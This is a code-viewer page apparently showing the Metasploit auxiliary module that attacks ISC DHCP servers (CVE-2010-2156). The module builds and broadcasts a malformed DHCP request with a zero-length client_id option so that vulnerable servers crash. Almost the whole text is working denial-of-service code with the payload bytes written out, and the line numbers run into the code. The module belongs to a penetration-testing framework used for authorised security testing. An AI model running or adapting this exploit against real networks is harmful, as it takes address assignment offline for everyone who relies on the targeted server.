Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Dos7include Msf::Exploit::Capture89def initialize10super(11'Name' => 'ISC DHCP Zero Length ClientID Denial of Service Module',12'Description' => %q{13This module performs a Denial of Service Attack against the ISC DHCP server,14versions 4.1 before 4.1.1-P1 and 4.0 before 4.0.2-P1. It sends out a DHCP Request15message with a 0-length client_id option for an IP address on the appropriate range16for the dhcp server. When ISC DHCP Server tries to hash this value it exits17abnormally.18},19'Author' =>20[21'sid', # Original POC22'theLightCosine' # msf module23],24'License' => MSF_LICENSE,25'References' =>26[27[ 'CVE', '2010-2156' ],28[ 'OSVDB', '65246'],29[ 'EDB', '14185']30]31)32register_options(33[34OptAddress.new('RIP', [true, 'A valid IP to request from the server'])35]36)37deregister_options('FILTER','PCAPFILE','SNAPLEN','TIMEOUT')38end3940def run41open_pcap42print_status("Creating DHCP Request with 0-length ClientID")43p = PacketFu::UDPPacket.new44p.ip_daddr = "255.255.255.255"45p.udp_sport = 6846p.udp_dport = 674748# TODO: Get a DHCP parser into PacketFu49chaddr = "\xaa\xaa\xaa\xaa\xaa\xaa"50dhcp_payload = "\x63\x82\x53\x63\x35\x01\x03\x3d\x00\xff"51p.payload = dhcp_req(chaddr,dhcp_payload)52p.recalc53print_status("Sending malformed DHCP request...")54capture_sendto(p, '255.255.255.255')55close_pcap56end5758def dhcp_req(chaddr,payload)59req = "\x00" * 23660req[0,3] = "\x01\x01\x06" # Boot request on Eth with hw len of 661req[12,4] = Rex::Socket.addr_aton(datastore['RIP'])62req[28,6] = chaddr63req + payload64end65end666768